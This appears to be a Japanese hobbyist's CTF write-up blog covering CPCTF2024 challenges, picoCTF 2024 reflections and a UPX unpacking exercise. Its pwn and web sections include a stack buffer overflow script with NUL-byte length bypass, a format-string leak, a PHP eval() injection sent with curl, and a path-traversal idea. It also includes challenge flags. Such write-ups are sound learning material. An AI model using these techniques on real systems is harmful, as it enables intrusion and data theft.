CPCTF2024のwriteupみたいなやつ

X見てたら見つけたものをやってみた。

mediumとhard以外は頑張った(PPCとOSINTは除く)。今回PPCとOSINTを解けなかったのが痛い。好き嫌いしないことは大切ですね。

開閉

[Web] Typing game

面白そうなタイピングゲームを見つけたぞ!早速やってみよう♪ ...なんかムズくない?????

これをするのは無理、コードを開発者ツールで確認するとflagあった。

[OSINT] mokomoko

綺麗な風景ですね。これはどこで撮ったのでしょうか? https://files.cpctf.space/mokomoko.jpeg

撮影場所は何らかの施設のようです。施設が用いている電話番号を CPCTF{} で囲んで解答してください。ハイフンは入れないこと。

googleの画像検索で調べるとひたち海浜公園という場所が出てきたので、その電話番号をflagにして正解。

[Shell] netcat

次のアドレスに接続するとフラグが貰えます!

domain: shell-netcat.web.cpctf.space port: 30010
ということで、ncコマンドを使用する問題。

知識(netcat)
netcat (ncコマンドでサーバーと通信させよう!)を参考にした。「TCPまたはUDPの通信を使ってコマンドラインからデータを送受信するコマンド」ということらしい。

nc サーバーのIPアドレス サーバーのポート番号で通信ができるようだ。通信したら終了。

[Forensics] white has much information

これがflagにつながるらしいです https://files.cpctf.space/white_has_much_information.txt
真っ黒。こんな問題は初めて。このファイルを開発者ツールでダウンロードして、解析していく。

└─# file white_has_much_information.txt
white_has_much_information.txt: ASCII text
└─# strings white_has_much_information.txt
























既視感がある。空白だけある。

└─# hexdump -v -C white_has_much_information.txt
00000000  20 20 20 09 20 20 20 20  09 09 0a 09 0a 20 20 20  |   .    .....   |
00000010  20 20 09 20 09 20 20 20  20 0a 09 0a 20 20 20 20  |  . .    ...    |
00000020  20 09 20 20 20 20 09 09  0a 09 0a 20 20 20 20 20  | .    .....     |
00000030  09 20 09 20 09 20 20 0a  09 0a 20 20 20 20 20 09  |. . .  ...     .|
00000040  20 20 20 09 09 20 0a 09  0a 20 20 20 20 20 09 09  |   .. ...     ..|
00000050  09 09 20 09 09 0a 09 0a  20 20 20 20 20 09 20 20  |.. .....     .  |
00000060  20 20 09 09 0a 09 0a 20  20 20 20 20 09 09 20 09  |  .....     .. .|
00000070  20 20 0a 09 0a 20 20 20  20 20 09 09 20 09 09 09  |  ...     .. ...|
00000080  20 0a 09 0a 20 20 20 20  20 09 20 09 09 09 09 09  | ...     . .....|
00000090  0a 09 0a 20 20 20 20 20  09 09 09 09 20 20 09 0a  |...     ....  ..|
000000a0  09 0a 20 20 20 20 20 09  09 20 20 20 20 0a 09 0a  |..     ..    ...|
000000b0  20 20 20 20 20 09 09 09  20 09 20 09 0a 09 0a 20  |     ... . .... |
000000c0  20 20 20 20 09 20 09 09  09 09 09 0a 09 0a 20 20  |    . ........  |
000000d0  20 20 20 09 09 20 09 20  09 0a 09 0a 20 20 20 20  |   .. . ....    |
000000e0  20 09 09 20 20 09 09 0a  09 0a 20 20 20 20 20 09  | ..  .....     .|
000000f0  09 20 20 09 09 0a 09 0a  20 20 20 20 20 09 20 09  |.  .....     . .|
00000100  09 09 09 09 0a 09 0a 20  20 20 20 20 09 09 20 09  |.......     .. .|
00000110  09 09 0a 09 0a 20 20 20  20 20 09 09 20 09 20 20  |.....     .. .  |
00000120  20 0a 09 0a 20 20 20 20  20 09 09 20 20 20 09 0a  | ...     ..   ..|
00000130  09 0a 20 20 20 20 20 09  09 20 09 20 09 0a 09 0a  |..     .. . ....|
00000140  20 20 20 20 20 09 09 09  09 09 09 0a 09 0a 20 20  |     .........  |
00000150  20 20 20 09 09 09 09 09  20 09 0a 09 0a 20 20 0a  |   ..... ....  .|

何やら書かれているようだ。20,09,0aで構成されている。モールス信号が二進数で表現できるかどっちかの気がする。16進数をasciiとして見ると20はスペース、09は水平タブ、0aは改行だそうだ。調べていると(2020年になったのでテキストに半角スペースで暗号文を埋め込もう)というサイトが目についた。Whitespacaというプログラミング言語があるようだ。また、stegsnowというものやShinoCryptor(暗号化でテキストを目に見えなくする「ShinoCryptor」)というものまであった。

└─# stegsnow white_has_much_information.txt
��@�!p�� �DB��("� �
 ,DQ0�
$�

あまり良いのは見当たらない。(【Whitespace】空白文字だけで「大石泉すき」を出力する)を参考にwhitespacaを解読してみる。

└─# od white_has_much_information.txt -An -tx1 -v|tr '\n' ' '|tr -d ' '|sed -e "s/0a/\n/g"
20202009202020200909
09
202020202009200920202020
09
202020202009202020200909
09
202020202009200920092020
09
202020202009202020090920
09
202020202009090909200909
09
202020202009202020200909
09
2020202020090920092020
09
202020202009092009090920
09
202020202009200909090909
09
202020202009090909202009
09
2020202020090920202020
09
202020202009090920092009
09
202020202009200909090909
09
2020202020090920092009
09
2020202020090920200909
09
2020202020090920200909
09
202020202009200909090909
09
2020202020090920090909
09
202020202009092009202020
09
2020202020090920202009
09
2020202020090920092009
09
2020202020090909090909
09
202020202009090909092009
09
2020

これを参考webのやり方を実践すればできる。cyberchefを利用すると簡単。しかし、形の整形はコードを書いた方が楽に感じる。

[Forensics] Register(未解決)

flagのpacketをcaptureしたよ!

https://files.cpctf.space/register.pcapng
お!パケット解析だ!!
見たことない感じ。アップデートしたからか見にくいw
階層USBについてだけ。

知識(URB)
URB (URB 構造体 (usb.h))
を参考にした。
知識(USB転送方式)
USB転送方式 (USB転送方式)を参考にした。4つの転送方式があるようだ。

今回はコントロール転送とインタラプト転送が行われていそう。(サークル合宿で主催したCTFの解説※このサイトの参考サイトの部分を押すと海外のアダルトサイトらしきところへ飛ぶので注意)を参考にするとusbのキーボードで打ったコードは特殊なようで、usb keyboard codeと調べるとよいようだ。

└─# tshark -r register.pcapng -T fields -e usb.capdata
Running as user "root" and group "root". This could be dangerous.



0200000000000000
0200060000000000
0200000000000000
0200130000000000
0200000000000000
0200060000000000
0200000000000000
0200170000000000
0200000000000000
0200090000000000
0200000000000000
0200300000000000
0200000000000000
0200320000000000
0200000000000000
0000000000000000
0000500000000000
0000000000000000
0000090000000000
0000000000000000
0000590000000000
0000000000000000
00005c0000000000
0000000000000000
00005e0000000000
0000000000000000
2000000000000000
2000870000000000
0000870000000000
0000000000000000
00001a0000000000
0000000000000000
00005c0000000000
00005c5d00000000
00005d0000000000
0000000000000000
2000000000000000
2000870000000000
0000870000000000
0000000000000000
0000060000000000
0000000000000000
00005c0000000000
0000000000000000
0000610000000000
0000000000000000
00005f0000000000
0000000000000000
0000180000000000
0000000000000000
0000150000000000
0000000000000000
0000200000000000
0000000000000000
0000070000000000
0000000000000000

(USB HID Usage ID の Scancode 変換と対応するキー)を参考に当てはめるとCPCTF{f146\w445\c497ur3d}になったが、違うようだ。なんでだろう

[Forensics] which is true flag

メールでflagを受け取れるサービスに登録したんだけど、どれが本物かわからないや。助けて~。

https://files.cpctf.space/which_is_true_flag.zip
zipを解凍すると数えきれないほどのemailデータが渡された。メールにflagらしきものが書かれてはいるが、この中の一つしか正解ではないみたい。違いが判らない。

何が違うのかdiffコマンドで比較する。

└─# diff mail-NHwAVAWEqiJAGlS.eml  mail-aKfUpJZEKhIcnSJ.eml
5c5
< Received: from flagProvider@trap.jp ([28.163.253.231])
---
> Received: from flagProvider@trap.jp ([221.120.97.2])
30c30
< クーポンID: CPCTF{yHRFsOGdwqCwoPkbhhET}
---
> クーポンID: CPCTF{iwbcwWoikyYKAoaFyaSJ}
99c99
<             <p>クーポンID: <strong>CPCTF{yHRFsOGdwqCwoPkbhhET}</strong></p>
---
>             <p>クーポンID: <strong>CPCTF{iwbcwWoikyYKAoaFyaSJ}</strong></p>

つまり、flagとIPアドレスが違う。日本のドメインではないところから送られているとかなのかな?大量にある中から探せばよい。

(大量の IP アドレスは「IPInfoOffline」で調べよう)を参考にしてみる。└─# cat * | grep 'from flagProvider@trap.jp' |uniq|sed -e "s/Received: from flagProvider@trap.jp (//g"|sed -e "s/])//g"| tr -d [ごちゃごちゃしてしまったが、これでメールからIPアドレスだけを抽出できた。予想ではこの中に日本のものは1つしかない。しかし、調べてみると239個も日本から届いていた。まだ間絞る余地があるようだ。
hintを全部開けた。

trap.jpのドメインSPFレコードと呼ばれるものを確認してみましょう。 すると、AレコードとMXレコードのどちらかと一致するものが本物のようです。 以下のコマンドでレコードを確認できます。

dig trap.jp mx
dig trapsysad.sakura.ne.jp a
知識(SPFレコード)
SPFレコード (SPFレコードとは?正しい書き方を徹底解説)メールの情報からそれがなりすましでないかをDNSサーバと比較して実装されているようだ。

調べるとwindowsnslookupコマンドでできるようだ。

> nslookup trap.jp
名前:    trap.jp
Addresses:  2400:8500:1302:773:118:27:108:130
          118.27.108.130
> nslookup -type=mx trap.jp
trap.jp MX preference = 10, mail exchanger = trapsysad.sakura.ne.jp

trapsysad.sakura.ne.jp  internet address = 49.212.243.60

118.27.108.130か49.212.243.60の二択かな。

└─# grep -rl "49.212.243.60" ./
./mail-wrdzsQThShoYumIsAaYL.eml

引っかかった。終了。

[Pwn] Attack! Attack! Win!

flagを盗まれてしまいました…… 敵を倒して取り返してきてもらえませんか? nc attack_attack_win.web.cpctf.space 30005
ということで、やってみる。

└─# nc attack_attack_win.web.cpctf.space 30005


Defeat the enemy to get the flag!


YourHP:100
enemyHp:100

1: Attack
2: Heal
3: Hocus Pocus

1

YourHP:50
enemyHp:60

1: Attack
2: Heal
3: Hocus Pocus

2

YourHP:30
enemyHp:60

1: Attack
2: Heal
3: Hocus Pocus

3

Memory leak!
Attack     : 0x563fc565e070
Heal       : 0x563fc565e078
HocusPocus : 0x563fc565e080
win        : 0x563fc565e058

YourHP:0
enemyHp:60

You lose...

一回で50ダメージ、、2ターンしか猶予なし。攻撃は一回40つまり正規の方法では無理ぽ。memoryleakがあるので、そこがポイントですよね。配列の参照が鍵ではないかな?

   playerCommands[0] = attack;
    playerCommands[1] = heal;
    playerCommands[2] = hocusPocus;

コマンドはこのようになっている。つまり、入力にマイナスで入力するとwin関数を実行できそう。-2の時に十呼応できた。終了。

[Crypto] Substitution

Cpvv muzp! Xuvdazs ijax ekrtiusknl kpqgakpx fuij xwavv nzm tniapzep. Rug'dp mpluzxiknipm pyeptiauznv neglpz nzm tpkxpdpknzep. Fkndu buk eknewazs ijp eump nzm gzvuewazs aix xpekpix! ETEIB{jpvvu_ekrtiu_cukvm}
わからない。(dcode.fr)を用いて解析した。monoalphabetic-substitutionという方式で解析すると復号できた。

[OSINT] omu-napo(未解決)

熱々の鉄板の上のオムナポ、美味しかった〜。 店舗名の英語表記をスペースを抜いた状態ものをCPCTF{}で包んだものがflagです。

https://files.cpctf.space/omunapo.jpg

例: 店舗名が「Tokodai Cafe」の場合、flagはCPCTF{TokodaiCafe}になります。 画像検索したが一つに絞るのは難しそう。画像情報にGPSがないか確認した。

└─# exiftool omunapo.jpg
GPS Position                    : 35 deg 39' 27.81" N, 139 deg 42' 0.89" E

となっている。ここを調べると。渋谷フクラスビル内にあるようだ。が、それっぽいのがない。

[Binary] peeping

僕の考えたflagを当てられますか?

└─# ./chall
Can you guess the flag?
ka
Wrong...  

さすがに当てずっぽうでは無理よ。ghidraかな。mainから見ていく。
入力をflagと比較している。flagを確認しに行くとそのまま記述されていた。終了。

[Pwn] CPCT......

等価交換って良いですよね。ということで、入力した文字数の分だけflagをあげます! でも貰いすぎても困るので4文字以内でお願いします…… nc cpct.web.cpctf.space 30006

└─# nc cpct.web.cpctf.space 30006
Please enter some string! (max 4 character)
3333
Thank you!
Your input:3333
Length: 4
This is your reward!
CPCT

入力した分だけflagの答えがもらえるようだ。コードを見た時にlength = printf(buf);ここが気になった。printfにそのまま変数を当てはめるとフォーマット指定子の攻撃ができてしまうやつ。

└─# nc cpct.web.cpctf.space 30006
Please enter some string! (max 4 character)
%s
Thank you!
Your input:Thank you!
Your input:
Length: 22
This is your reward!
CPCTF{1m_50rrY_bu7_i_H

やはり、4以上leakすることができる。フォーマット指定子の間に数値を入れることで桁をそろえることができると学んだような。

└─# nc cpct.web.cpctf.space 30006
Please enter some string! (max 4 character)
%99s
Thank you!
Your input:
Length: 99
This is your reward!

正解だそうです。終了。

[OSINT] Doctor yellow(未解決)

Question 2024年の東工大の前期合格発表の翌日、河川敷を歩いていたら黄色い新幹線が走っているのを見かけました。

これはどこで撮られた写真でしょう?

フラグは撮影された場所の緯度と経度を10進数で表記して小数点以下3桁で切り捨てたものを順に並べたものです。 (例えば北緯aa.bb度 東経ccc.dd度であるとき、緯度と経度を用いてCPCTF{aabb_cccdd}です。)
先もやったように画像の情報をてにいれる。載ってない!!

[Pwn] The sky's the limit

あまりにも長い入力は危険らしいので弾くようにしました! nc the_skys_the_limit.web.cpctf.space 30007
16以上の入力ははじく。それ以外は特に何も起こらない。バッファオーバーフローをしてwin関数を十呼応させるようだが、わからない。手も足も出ないので、ヒントを覗く。

脆弱性があるのは28行目のgets関数です。

gets関数に脆弱性があるんですね!gets(buf);とコードが書いてある。getsはbufの領域を超えて書き込むことができることが脆弱性のようだ。しかし、strlenがあるので、長さを超えれないのではないか?strlenはnullが来るまでの文字列を数える。送る文字列の間にnullがあればstrlenを回避できるかもしれない?

from pwn import *

io = process('./chall')
io = remote('the_skys_the_limit.web.cpctf.space', 30007)

print(io.recvuntil("input:"))
io.sendline(b'ooooooooooooooooo\0ooooooooooooo')
print(io.recvline())

とすればエラーが起きないことが分かった。これでバッファオーバーフローはできるのではないだろうか。いや、戻りアドレスを変更させるための戻りアドレスがないぞ。hint2を見てみる。

gets関数でbufよりも大きい文字列を入力できるため、stack buffer overflow の脆弱性があります。 上手くwin関数に処理を飛ばしましょう。 また、strlenでの文字列チェックに引っかからないようにするため、文字列の区切りとなるようなものを入力する文字列に仕込みましょう。 stack alignment に注意してください。 (CTFで学ぶ脆弱性(スタックバッファオーバーフロー編・その1))を参考にやっていく。リターンアドレスの位置はバッファサイズ+rbpレジスタらしいです。今回だと16+8=24ということになるのかな?

gdb-peda$ disas win
Dump of assembler code for function win:
   0x0000000000401289 <+0>:     endbr64
   0x000000000040128d <+4>:     push   rbp
   0x000000000040128e <+5>:     mov    rbp,rsp
   0x0000000000401291 <+8>:     lea    rax,[rip+0xd6c]        # 0x402004
   0x0000000000401298 <+15>:    mov    rdi,rax
   0x000000000040129b <+18>:    call   0x4010d0 <system@plt>
   0x00000000004012a0 <+23>:    mov    eax,0x0
   0x00000000004012a5 <+28>:    pop    rbp
   0x00000000004012a6 <+29>:    ret

win関数の開始位置は0x00401289であるようだ。

実行してみるがSegmentation faultになってしまう。

hint3も開けた(´;ω;`)

'\x00'などを入力すると、そこが文字列の終端であるとみなされるため文字列長をごまかすことができます。 これを踏まえてstack buffer over flow をしていきましょう。 '\x00'を24文字、ret命令、win関数のアドレスの順に入力すればうまくいきそうです。 echo -e "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x13\x40\x00\x00\x00\x00\x00\x89\x12\x40\x00\x00\x00\x00\x00" これをパイプなどで入力しましょう。

終端は\0ではなく、\x00なんですね。そして、あと、24文字の後にそもままアドレスを入力していましたが、ret命令を入れないといけなかったようです。つまり、スタックにはバッファー、ret命令、戻り値アドレスの順番で積まれているということかな。

Dump of assembler code for function main:
   0x00000000004012a7 <+0>:     endbr64
、、、
   0x0000000000401313 <+108>:   ret

アセンブリを見るとret命令のアドレスが0x401313になっている。これが使われているようだ。スタックは1つが8byteなので注意する。

from pwn import *

io = remote('the_skys_the_limit.web.cpctf.space', 30007)
address = pack(0x401289, word_size='64', endian='little')
ret = pack(0x401313, word_size='64', endian='little')
print(io.recvuntil("input:"))
io.sendline(b'oooooooo\x00ooooooooooooooo' + ret + address)
print(io.recvline())

以上のコードを実行するとflagゲット。楽しかった。

[Web] Read Novels

小説が読めるサイトを見つけたぞ! これ小説以外も見れるじゃん... サイト:https://read-novels.web.cpctf.space 配布ファイル:https://files.cpctf.space/read-novels.zip
というわけで、読めるようです。

@app.route('/novel', methods=['GET'])
def novel():
    name = request.args.get('name')
    filepath = './novel/' + name
    if os.path.exists(filepath) == False:
        return "File not found"
    if os.path.isfile(filepath) == False:
        return "Not a file"
    body = open(filepath, 'r').read()
    return render_template('novel.html', title=name, body=body)

コード見てみるとファイルトラバーサルできそう。 nameのところにnovelからflagへのパスを指定すればよさげ。

[Binary] Just reversing?

CTFにはReversingというジャンルがあるらしいですね。 面白そうなので雰囲気で問題を作ってみました!
暗号に近いコードをしている。

#include <stdio.h>
#include <string.h>

int main() {
    char flag_enc[30] = "";
    char flag[30];
    FILE *f;
    f = fopen("flag_enc.txt", "r");
    if (f == NULL) {
        printf("flag.txt not found\n");
        return 1;
    }

    fscanf(f, "%s", flag_enc);   
    fclose(f);

    for (int i = 0; i < strlen(flag_enc); i++) {
        char chr = flag_enc[strlen(flag_enc) -i -1];
        flag[i] = (char)(chr %16 *16) + (chr /16);
    }

    f = fopen("flag.txt", "w");
    fprintf(f, "%s", flag);
    fclose(f);

    return 0;
}

復号するのを何も考えずにコードを書くと上記のようになる。しかし、これでは正解にならない。CPCTFl]17Er4]]JPr3vErs1_Gnという答えになる。フォーマット指定子関係で変換ミスが起きているように思う。

└─# hexdump -v -C flag_enc.txt
00000000  d7 74 e6 13 37 27 54 67  33 27 f5 95 c6 c6 43 27  |.t..7'Tg3'....C'|
00000010  54 73 13 c6 b7 64 45 34  05 34                    |Ts...dE4.4|

16進数で見てみると{がb7で表されているがここからおかしくなっている。char型は1byteつまり128までしか読めない。それ以上だとおかしくなってしまう。フォーマット指定子をいじったりしたけどよくわからなかったので、力業。

 for (int i = 0; i < strlen(flag_enc); i++) {
        int chr = flag_enc[strlen(flag_enc) -i -1];
        if (chr <0){
            chr = chr +2*128;
        }
        flag[i] = (char)(chr %16 *16) + (chr /16);
    }

マイナスになっているところを強制的に直すようにした。writeupを楽しみにしている。終了。

[web] Let's buy some array

贔屓にしている数列屋さんがモバイルオーダーに対応したらしい。とは言っても金額計算機能しかないらしいけど。 ...この金額計算、あんまり安全じゃなくないか?
ということでやっていく。
計算するらしい。php見ていてもよくわからない。hint見てみる。

値が数値であるかどうかはクライアント側でしか検証していないようです。 不正な文字列を注入することが出来るかもしれません。

不正な文字列を注入できるようだ。よくわからないので後回し。 調べているがURlから不正な文字を送るのか、コマンド上で何か足ら行わないといけないのか、それさえもわからない。 hint2を開いた。

金額計算にeval()が使われているので、任意のPHPコードが実行できます。 環境変数FLAGが表示されるよう、コードを入れてみましょう。

だそうです。

<p>合計金額は<?=eval('return ' . $_POST["quantity1"] . '*1000+' . $_POST["quantity2"] . '*2000+' . $_POST["quantity3"] . '*1500;')?>円です。この画面を実店舗の店員にご提示ください。</p>

これのことですね。

PHPでは$ENV['FLAG']で環境変数FLAGを読み取ることが出来ます。 eval('return ' . $POST["quantity1"] . '1000;')の$POST["quantity1"]に不正なコードを注入することを考えます。 単に$ENV['FLAG']を入れると$_ENV['FLAG'] 1000が実行されてしまいます。PHPPythonなどと異なり文字列×数字の演算は出来ないので、これはエラーになります。 エラーを回避する方法としては、1000の前に数字を置く方法があります。例えば、quantity1として$ENV['FLAG'] . 2などを送ることで$ENV['FLAG'] . 21000 を実行させることができます。

やっぱりこれをどう送ればいいのかがわからない。頑張って調べる!!

知識($_POST)
$_POST (PHP フォームから値を取得する$_POSTの使い方)を参考にする。

$POSTを知る前に$GETを知る方がよさそう。

知識($_GET)
$_GET (PHP フォームやURLのパラメータから値を取得する$_GETの使い方)
を参考にする。つまり、入力の変数から値を得るのがこの関数。

$_POSTはURLには乗らないだけで、index.phpからactionでpostされた値が得られているようだ。
さきも言ったようにGETはURLから送れるが、POSTはどう送ればよいのだろうか?
以前curlコマンドを利用したことを思い出してきた。 (curlコマンドでPOSTする, 様々な形式別メモ)

└─# curl -X POST https://lets-buy-some-array.web.cpctf.space/

<!DOCTYPE HTML>
<html>
    <head>
        <title>数列屋</title>
        <meta charset="utf-8">
    </head>
    <body>
        <h1>数列屋へようこそ</h1>
        <form action="purchase.php" method="post">
            <table>
                <tr>
                    <th>商品名</th>
                    <th>単価</th>
                    <th>個数</th>
                </tr>
                <tr>
                    <td>フィボナッチ数列</td>
                    <td>1000</td>
                    <td><input type="number" name="quantity1" value=""></td>
                </tr>
                <tr>
                    <td>素数列</td>
                    <td>2000</td>
                    <td><input type="number" name="quantity2" value=""></td>
                </tr>
                <tr>
                    <td>三角数列</td>
                    <td>1500</td>
                    <td><input type="number" name="quantity3" value=""></td>
                </tr>
            </table>
            <input type="submit" value="確認">
        </form>
    </body>
</html>

ファイル内容と同じものが渡された。つまり、POSTを要求したのでそれが返ってきたということかな?(curl コマンド 使い方メモ)-dオプションをつけるとデータが記述できるようだ。でも、└─# curl -X POST --data '$_POST["quantity1"] = 1' https://lets-buy-some-array.web.cpctf.space/purchase.phpこれではだめなようだ。

└─# curl -d 'quantity1 = 1' https://lets-buy-some-array.web.cpctf.space/purchase.php
<html>
    <head>
        <title>数列屋</title>
        <meta charset="utf-8">
    </head>
    <body>
        <h1>レジ</h1>
        <form action="purchase.php" method="post">
            <table>
                <tr>
                    <th>商品名</th>
                    <th>単価</th>
                    <th>個数</th>
                    <th>小計</th>
                </tr>
                <tr>
                    <td>フィボナッチ数列</td>
                    <td>1000</td>
                    <td><br />
<b>Warning</b>:  Undefined array key "quantity1" in <b>/var/www/html/purchase.php</b> on line <b>19</b><br />
</td>
                    <td><br />
<b>Warning</b>:  Undefined array key "quantity1" in <b>/var/www/html/purchase.php</b> on line <b>20</b><br />
<br />
<b>Parse error</b>:  syntax error, unexpected token &quot;*&quot;, expecting &quot;;&quot; in <b>/var/www/html/purchase.php(20) : eval()'d code</b> on line <b>1</b><br />

以上のエラーが出る、、なぜだーーーーーー。スペースのせいだーーーーーーー!!気を付けてくれ!!むやみにスペースはたたいたらあかんようだ。前もどこかでそうだった。web系のコードではスペースが肝。

└─# curl -d 'quantity1=1&quantity2=1&quantity3=1' https://lets-buy-some-array.web.cpctf.space/purchase.php

これで送ることはできる。

└─# curl -d 'quantity1=$_ENV['FLAG'] . 2' https://lets-buy-some-array.web.cpctf.space/purchase.php
<html>
    <head>
        <title>数列屋</title>
        <meta charset="utf-8">
    </head>
    <body>
        <h1>レジ</h1>
        <form action="purchase.php" method="post">
            <table>
                <tr>
                    <th>商品名</th>
                    <th>単価</th>
                    <th>個数</th>
                    <th>小計</th>
                </tr>
                <tr>
                    <td>フィボナッチ数列</td>
                    <td>1000</td>
                    <td>$_ENV[FLAG] . 2</td>
                    <td><br />
<b>Fatal error</b>:  Uncaught Error: Undefined constant &quot;FLAG&quot; in /var/www/html/purchase.php(20) : eval()'d code:1
Stack trace:
#0 /var/www/html/purchase.php(20): eval()
#1 {main}
  thrown in <b>/var/www/html/purchase.php(20) : eval()'d code</b> on line <b>1</b><br />

なぜエラーが起きるのーーーー。いあー。「"」と「'」を使い分けてなかっただけ、、 悔しい。それができたらflag回収。

[Binary] Number Guesser

正しい数字を入力できたらflagを差し上げます。
だそうだ。ソースコードは渡されていない。実行しても。

└─# ./chall
Guess the number!
ka
Wrong...

と出力されるだけでヒントはない。ghidraを用いて、見ていく。

main関数を見てみると何やら比較している。scanfも実行されているので、この文字が推測したい数値と考えられる。入力したら正解だった。終了。

[OSINT] Great view(未解決)

とても見晴らしが良い場所に来ました! https://files.cpctf.space/great_view.jpg

ところで、この場所はあるゲームアプリの中でも登場したようです。 そのアプリが正式リリースされた日時を教えてください。
ということで、まずは画像をgoogle先生に投げる。 卯辰山というキーワード出てきた。 (『ラブライブ!蓮ノ空女学院スクールアイドルクラブ』 舞台探訪(聖地巡礼) ~金沢市~)ということでラブライブのようだ。調べると日にちはわかるけど、時間まではわからない。むずかしい。

[Crypto] RSA Trial

RSA暗号に触れてみましょう!
RSA問題を解いている時間が好きなので解いていく。 eとn、c、hintが与えられている。cが暗号文でhint=p3+q3をだそうです。
RSAなのでpとqをそれぞれ求めるか、(p-1)(q-1)を求めれば、秘密鍵dが求められてうれしいという流れですね。
まずは2つの3乗の和は高校生で習う公式を使用したらなんか(p-1)
(q-1)と絡められそう。
(p+q)でうまいこと絡められました。ここで(p-1)(q-1)はxとしています。しかし、このままでは総当たりになるので、因数分解下状態でxの大まかな存在範囲を求めました。そしたら、二分探査で値を絞り込んだら素早く(p-1)(q-1)を求められます。そしたら、もうRSAのいつもの通りにやってあげれば終了。コードは以下に。

from Crypto.Util.number import long_to_bytes,inverse
def hsqrt(n): #平方根を求めるうやつ。
  x = n
  y = (x + 1) // 2
  while (y < x):
    x = y
    y = (x + n // x) // 2
  return x

x1 = 1
xn = n+1-hsqrt(3*n)
flag =1
x =( x1 +xn )//2
while (flag ==1):
  value = (n + 1 - x)*((n+1-x)**2 -3*n)-hint
  if (value >0):
    x1 = x
    x = (x + xn)//2
  elif( value < 0):
    xn = x
    x = (x1 + x)//2
  else:
    print(x)
    flag =0

mod = x
d = pow(e,-1,mod)
m = pow(c,d,n)
print(long_to_bytes(m))

これにて終了。

[Shell] veeeeeeery long text

flag.txtにフラグが書いてあります、やったね。

ssh user@veeeeeeery-long-text.web.cpctf.space -p 30011 password: P455W0I2D
ということで、sshしてflag.txtをcatしてみた。長すぎる。しかし、この中にflagがあるので、grepしてみる。出てきた。終了。

[Misc] turning over(未解決)

この板ポリゴンがflagらしいけど、どこに書いてあるんだろう?
ということで何かしらのファイルが渡された。

└─# file turning_over.blend
turning_over.blend: Blender3D, saved as 64-bits little endian with version 4.00

初めて見るファイル形式。3dCGのようだ。

└─# strings turning_over.blend  | grep CPCTF

さすがに簡単ではない。

[Crypto] AAAA(未解決)

traP専用のssh-key鍵を作りました. 秘密鍵ファイルなので見せられないですがなんとTOKYO+INSTITUTE+OF+TECHNOLOGY+DIGITAL+CREATORS+CLUB+TRAPAAAA をファイルに含ませることに成功しました(下のコードブロック参照)! 余計なAAAAついてる原因はたぶんBluetoothキーボードの電池が途中で切れて最後の入力文字を入力し続けたせいです(知らんけど). チェックコードとログ渡すのでうまく行ってるか確認して欲しいな.
どういうことかあんまりわからん。

-----BEGIN OPENSSH PRIVATE KEY-----
****************************************************************************
****************************************************************************
****************************************************************************
****************************************************************************
****************************************************************************
****************************************************************************
****************************************************************************
****************************************************************************
****************************************************************************
****************************************************************************
****************************************************************************
****************************************************************************
****************TOKYO+INSTITUTE+OF+TECHNOLOGY+DIGITAL+CREATORS+CLUB+TRAPAAAA
****************************************************************************
****************************************************************************
****************************************************************************
************************************************************
-----END OPENSSH PRIVATE KEY-----

秘密鍵だそうです。

[Crypto] CES(未解決)

正式名称はCat Encryption Standardです. nc ces.web.cpctf.space 30008
なんじゃこりゃ

[Binary] Power down(未解決)

落ち着いて、ゆっくり、順番に……
ということでbinaryファイルが渡された。ghidraかな。

└─# ./chall
What is the flag?
kakka
Wrong...

つまり、そのままflagたたかないといけないようだ。

picoCTF2024感想

感想


以上が自身のスコアである。一年前に比べたら成長しているように思いうれしく思う。

Binary Exploitation

heap2が解けたのが成長を感じた。pwntoolsによってbytes型で文字を送ることができなかった思い出がるので成長。heap3を頑張りたいと思うが、ほかの問題を解いてから挑んでもよいと考えている。Binary Exploitationの部門を8/56しか解いていないので他の問題を解きつつ学んでいこうと考えている。

Cryptography

解けるものは解けた感じ。これからも進めるとはあまり思わないが、気が向いたらする。

Forensics

5/8が解けた。簡単だったのもあるとは思う。Dear Diaryは解きたかった。しかし、知らないと発送できない感じだったので、この学びをほかに活かしたい。フォレンジック総合格闘技といっているお方がいた。いろいろ知っていけばいいと思うので、一つ一つの問題を深掘るように取り組んで行きたい。これからもフォレンジックメインで行きたいと考えている。

General Skills

9/10でよく解けたと思う。gitを触れたのは面白かった。これからも利用していきたいと思った。dontなんちゃらが解けたのが気持ちよかった。General Skillsも頑張っていこうと思っています。

Reverse Engineering

全く知らない分野。packerは調べたらできそうでしたのでやりました。でも、picoCTFでも2/80しかやっていない分野。他のCTFでもこの分野を学ばないと解析できないことも多いので、そろそろ手を出すべき分野だと考えています。頑張る。

Web Exploitation

苦手意識はないが、あまり解いていない気がする。なんだかんだ調べながら解いている状況。もう少しやってもいいかもしれない。

総括

フォレンジック関係(特にディスクイメージ解析)を楽しんでやっていました。ここはこれからもやろうと思っていますが、webやRev、Binary徐々にでも進めていく一年にしたいと思いました。200点問題までは頑張ってみようかな。

picoCTFのwriteupみたいなやつ (Reverse Engineering)

picoCTFのReverse Engineeringについてまとめていく。頻度は少ないかも。

開閉

packer

Reverse this linux executable?
ということで、何かしらのファイルが渡された。

└─# file out
out: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header

何かしらの実行ファイルのようだ。

PROT_EXEC|PROT_WRITE failed.
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $

stringsコマンド出力の中に以上のような記述あり。何かしらのパッカーが使われているようだ。

知識(UPX)
UPX 実行ファイルをパッキングするツールのようだ。

(UPX 4.2.2 | ダウンロードと使い方)をもとにダウンロードしてunpackしてみた。

└─# ./upx -d ../out
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.2       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
[WARNING] bad b_info at 0x4b718

[WARNING] ... recovery at 0x4b714

    877724 <-    336520   38.34%   linux/amd64   out

Unpacked 1 file.

できたようだ。

└─# file out
out: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=1c5ee6208dac5576d6893e662951fa6f35e49efc, for GNU/Linux 3.2.0, not stripped

先と内容が変わっている。strings out |grep picoをしても反応ないのでまだ足りないようだ。Reversingするにもめぼしをつけるためにstrings出力を見ていくと以下のようなものがあった。

Enter the password to unlock this file:
You entered: %s
Password correct, please see flag: 7069636f4354467b5539585f556e5034636b314e365f42316e34526933535f31613561336633397d
Access denied
xeon_phi
